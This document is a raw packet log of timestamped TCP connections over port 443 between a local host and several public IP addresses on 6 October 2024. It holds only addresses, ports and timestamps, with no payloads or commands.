Oct 6, 2024 14:08:21.198390007 CEST	443	49726	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.198410988 CEST	443	49726	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.198452950 CEST	443	49726	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.198472977 CEST	443	49726	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.198487043 CEST	49726	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:21.198507071 CEST	443	49726	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.198544025 CEST	49726	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:21.198544025 CEST	49726	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:21.198559999 CEST	443	49726	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.198601007 CEST	49726	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:21.213155031 CEST	49721	443	192.168.2.5	172.67.175.206
Oct 6, 2024 14:08:21.213195086 CEST	443	49721	172.67.175.206	192.168.2.5
Oct 6, 2024 14:08:21.218215942 CEST	49723	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:21.218241930 CEST	443	49723	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.219140053 CEST	49732	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:21.219173908 CEST	443	49732	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.219244957 CEST	49732	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:21.220895052 CEST	443	49724	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.220946074 CEST	443	49724	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.220964909 CEST	443	49724	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.220985889 CEST	443	49724	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.220994949 CEST	49724	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:21.221013069 CEST	443	49724	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.221055984 CEST	443	49724	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.221059084 CEST	49724	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:21.221088886 CEST	443	49724	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.221098900 CEST	49724	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:21.221107960 CEST	443	49724	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.221131086 CEST	443	49724	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.221153021 CEST	49724	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:21.225239038 CEST	49722	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:21.225250959 CEST	443	49722	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:21.227461100 CEST	49732	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:21.227474928 CEST	443	49732	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.237015963 CEST	443	49728	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.237039089 CEST	443	49728	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.237046957 CEST	443	49728	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.237075090 CEST	443	49728	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.237092018 CEST	443	49728	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.237098932 CEST	443	49728	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.237129927 CEST	49728	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:21.237157106 CEST	443	49728	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.237207890 CEST	49728	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:21.237232924 CEST	49728	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:21.242491961 CEST	49727	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:21.242501020 CEST	443	49727	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.243082047 CEST	49733	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:21.243118048 CEST	443	49733	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.243283033 CEST	49733	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:21.251532078 CEST	49733	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:21.251549959 CEST	443	49733	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.254632950 CEST	49730	443	192.168.2.5	151.101.130.137
Oct 6, 2024 14:08:21.254661083 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:21.263114929 CEST	443	49725	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.263180017 CEST	443	49725	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.263211966 CEST	443	49725	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.263253927 CEST	443	49725	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.263262033 CEST	49725	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:21.263276100 CEST	443	49725	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.263299942 CEST	443	49725	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.263314009 CEST	49725	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:21.263314009 CEST	49725	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:21.263331890 CEST	443	49725	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.263349056 CEST	49725	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:21.263349056 CEST	49725	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:21.263379097 CEST	49725	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:21.277772903 CEST	443	49726	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.277828932 CEST	443	49726	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.277853966 CEST	49726	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:21.277868032 CEST	443	49726	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.277885914 CEST	443	49726	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.277932882 CEST	49726	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:21.278146029 CEST	49726	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:21.278157949 CEST	443	49726	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.278610945 CEST	49734	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:21.278635979 CEST	443	49734	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.278717041 CEST	49734	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:21.279030085 CEST	49734	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:21.279045105 CEST	443	49734	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.301642895 CEST	443	49724	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.301666975 CEST	443	49724	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.301687956 CEST	443	49724	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.301700115 CEST	49724	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:21.301714897 CEST	443	49724	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.301733971 CEST	443	49724	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.301753044 CEST	443	49724	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.301772118 CEST	443	49724	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.301780939 CEST	49724	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:21.301809072 CEST	49724	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:21.301814079 CEST	443	49724	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.301824093 CEST	49724	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:21.307528019 CEST	443	49724	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.307549953 CEST	443	49724	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.307569027 CEST	443	49724	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.307590008 CEST	49724	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:21.307598114 CEST	443	49724	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.307617903 CEST	49724	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:21.307617903 CEST	443	49724	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.307638884 CEST	443	49724	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.307657957 CEST	443	49724	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.307666063 CEST	49724	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:21.307688951 CEST	49724	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:21.307697058 CEST	443	49724	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.307708025 CEST	49724	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:21.318032026 CEST	443	49728	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.318042994 CEST	443	49728	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.318062067 CEST	443	49728	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.318068981 CEST	443	49728	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.318099022 CEST	443	49728	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.318110943 CEST	443	49728	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.318114996 CEST	49728	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:21.318162918 CEST	49728	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:21.318162918 CEST	49728	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:21.325468063 CEST	443	49728	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.325476885 CEST	443	49728	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.325495005 CEST	443	49728	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.325500965 CEST	443	49728	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.325546026 CEST	443	49728	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.325551987 CEST	49728	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:21.325572014 CEST	443	49728	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.325601101 CEST	49728	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:21.325655937 CEST	49728	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:21.346529961 CEST	443	49725	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.346596003 CEST	443	49725	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.346637011 CEST	49725	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:21.346649885 CEST	443	49725	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.346708059 CEST	49725	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:21.346754074 CEST	49725	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:21.355432987 CEST	443	49725	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.355487108 CEST	443	49725	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.355525017 CEST	49725	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:21.355535984 CEST	443	49725	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.355550051 CEST	49725	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:21.355571985 CEST	49725	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:21.355586052 CEST	443	49725	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.386043072 CEST	443	49724	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.386073112 CEST	443	49724	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.386110067 CEST	49724	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:21.386126995 CEST	443	49724	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.386146069 CEST	443	49724	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.386147976 CEST	49724	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:21.386169910 CEST	49724	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:21.386174917 CEST	443	49724	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.386195898 CEST	49724	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:21.386547089 CEST	443	49724	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.386568069 CEST	443	49724	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.386610985 CEST	49724	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:21.386620998 CEST	443	49724	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.391807079 CEST	443	49724	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.391827106 CEST	443	49724	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.391866922 CEST	443	49724	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.391874075 CEST	49724	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:21.391885996 CEST	443	49724	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.391918898 CEST	49724	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:21.391923904 CEST	443	49724	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.391951084 CEST	49724	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:21.393716097 CEST	443	49724	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.393759966 CEST	443	49724	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.393788099 CEST	49724	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:21.393793106 CEST	443	49724	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.393799067 CEST	443	49724	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.393819094 CEST	49724	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:21.393836975 CEST	49724	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:21.393851995 CEST	443	49724	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.393898010 CEST	49724	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:21.404938936 CEST	443	49728	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.404969931 CEST	443	49728	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.405029058 CEST	49728	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:21.405069113 CEST	443	49728	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.405087948 CEST	443	49728	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.405097008 CEST	49728	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:21.405139923 CEST	49728	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:21.405153036 CEST	443	49728	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.407942057 CEST	443	49728	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.407965899 CEST	443	49728	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.408013105 CEST	49728	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:21.408025026 CEST	443	49728	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.408051968 CEST	49728	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:21.408999920 CEST	443	49728	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.409054995 CEST	49728	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:21.409066916 CEST	443	49728	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.409123898 CEST	443	49728	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.409265041 CEST	49728	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:21.409288883 CEST	443	49728	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.409312010 CEST	49728	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:21.409807920 CEST	49735	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:21.409830093 CEST	443	49735	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.409918070 CEST	49735	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:21.410404921 CEST	49735	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:21.410413980 CEST	443	49735	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.434330940 CEST	443	49725	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.434426069 CEST	49725	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:21.434438944 CEST	443	49725	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.434581995 CEST	443	49725	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.434735060 CEST	49725	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:21.434837103 CEST	49725	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:21.434854031 CEST	443	49725	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.435146093 CEST	49736	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:21.435199022 CEST	443	49736	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.435328960 CEST	49736	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:21.435595989 CEST	49736	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:21.435615063 CEST	443	49736	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.471678972 CEST	443	49724	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.471716881 CEST	443	49724	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.471765995 CEST	49724	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:21.471772909 CEST	443	49724	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.471808910 CEST	49724	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:21.472963095 CEST	443	49724	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.473010063 CEST	443	49724	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.473033905 CEST	49724	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:21.473037958 CEST	443	49724	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.473081112 CEST	49724	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:21.473264933 CEST	443	49724	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.473318100 CEST	49724	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:21.473402023 CEST	49724	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:21.473412037 CEST	443	49724	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.473783016 CEST	49737	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:21.473825932 CEST	443	49737	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.473905087 CEST	49737	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:21.474364996 CEST	49737	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:21.474380016 CEST	443	49737	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.764950991 CEST	49738	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:21.764997005 CEST	443	49738	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:21.765089035 CEST	49738	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:21.765511036 CEST	49738	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:21.765538931 CEST	443	49738	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:21.785120964 CEST	49739	443	192.168.2.5	172.67.175.206
Oct 6, 2024 14:08:21.785175085 CEST	443	49739	172.67.175.206	192.168.2.5
Oct 6, 2024 14:08:21.785305023 CEST	49739	443	192.168.2.5	172.67.175.206
Oct 6, 2024 14:08:21.785691023 CEST	49739	443	192.168.2.5	172.67.175.206
Oct 6, 2024 14:08:21.785722971 CEST	443	49739	172.67.175.206	192.168.2.5
Oct 6, 2024 14:08:21.857440948 CEST	49740	443	192.168.2.5	151.101.2.137
Oct 6, 2024 14:08:21.857531071 CEST	443	49740	151.101.2.137	192.168.2.5
Oct 6, 2024 14:08:21.857628107 CEST	49740	443	192.168.2.5	151.101.2.137
Oct 6, 2024 14:08:21.857837915 CEST	49741	443	192.168.2.5	104.17.24.14
Oct 6, 2024 14:08:21.857873917 CEST	443	49741	104.17.24.14	192.168.2.5
Oct 6, 2024 14:08:21.858005047 CEST	49741	443	192.168.2.5	104.17.24.14
Oct 6, 2024 14:08:21.858206034 CEST	49741	443	192.168.2.5	104.17.24.14
Oct 6, 2024 14:08:21.858221054 CEST	443	49741	104.17.24.14	192.168.2.5
Oct 6, 2024 14:08:21.858402014 CEST	49740	443	192.168.2.5	151.101.2.137
Oct 6, 2024 14:08:21.858438015 CEST	443	49740	151.101.2.137	192.168.2.5
Oct 6, 2024 14:08:21.871170998 CEST	443	49732	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.895045996 CEST	443	49733	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.915699005 CEST	49733	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:21.915715933 CEST	443	49733	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.915874958 CEST	49732	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:21.915894985 CEST	443	49732	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.916536093 CEST	443	49732	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.916971922 CEST	443	49733	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.917882919 CEST	49732	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:21.917962074 CEST	443	49732	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.918301105 CEST	49733	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:21.918484926 CEST	49732	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:21.918492079 CEST	443	49733	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.918544054 CEST	49733	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:21.933578968 CEST	443	49734	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.933774948 CEST	49734	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:21.933787107 CEST	443	49734	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.934721947 CEST	443	49734	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.935060978 CEST	49734	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:21.935127974 CEST	49734	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:21.935184002 CEST	443	49734	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.935302973 CEST	49734	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:21.935311079 CEST	443	49734	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.959423065 CEST	443	49733	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.963402987 CEST	443	49732	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.005609035 CEST	49734	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.035579920 CEST	49733	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.049470901 CEST	443	49735	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.051009893 CEST	49735	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.051033020 CEST	443	49735	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.052098989 CEST	443	49735	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.052174091 CEST	49735	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.052711964 CEST	49735	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.052777052 CEST	443	49735	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.052894115 CEST	49735	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.077625036 CEST	443	49736	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.078031063 CEST	49736	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.078073025 CEST	443	49736	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.079543114 CEST	443	49736	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.079610109 CEST	49736	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.080168009 CEST	49736	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.080254078 CEST	443	49736	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.080319881 CEST	49736	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.095397949 CEST	443	49735	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.116137981 CEST	443	49737	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.116417885 CEST	49737	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.116436958 CEST	443	49737	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.117865086 CEST	443	49737	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.117922068 CEST	49737	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.118269920 CEST	49737	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.118334055 CEST	443	49737	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.118563890 CEST	49737	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.118571997 CEST	443	49737	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.127399921 CEST	443	49736	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.187021971 CEST	443	49732	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.187041998 CEST	443	49732	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.187082052 CEST	443	49732	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.187102079 CEST	443	49732	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.187114000 CEST	49732	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.187136889 CEST	443	49732	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.187166929 CEST	49732	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.187191010 CEST	49732	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.205867052 CEST	443	49733	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.205893040 CEST	443	49733	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.205899000 CEST	443	49733	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.205943108 CEST	443	49733	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.205965042 CEST	443	49733	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.205986023 CEST	443	49733	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.206068993 CEST	49733	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.206068993 CEST	49733	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.206103086 CEST	443	49733	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.206115961 CEST	443	49733	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.206162930 CEST	49733	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.208606005 CEST	49736	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.208628893 CEST	443	49736	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.214636087 CEST	443	49734	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.214663029 CEST	443	49734	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.214680910 CEST	443	49734	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.214718103 CEST	443	49734	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.214740992 CEST	443	49734	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.214760065 CEST	49734	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.214762926 CEST	443	49734	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.214776039 CEST	443	49734	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.214814901 CEST	49734	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.214844942 CEST	443	49734	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.214932919 CEST	49734	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.215811968 CEST	49734	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.239948034 CEST	49735	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.239970922 CEST	443	49735	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.240010977 CEST	49737	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.241156101 CEST	443	49732	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.241224051 CEST	49732	443	192.168.2.5	2.16.168.6
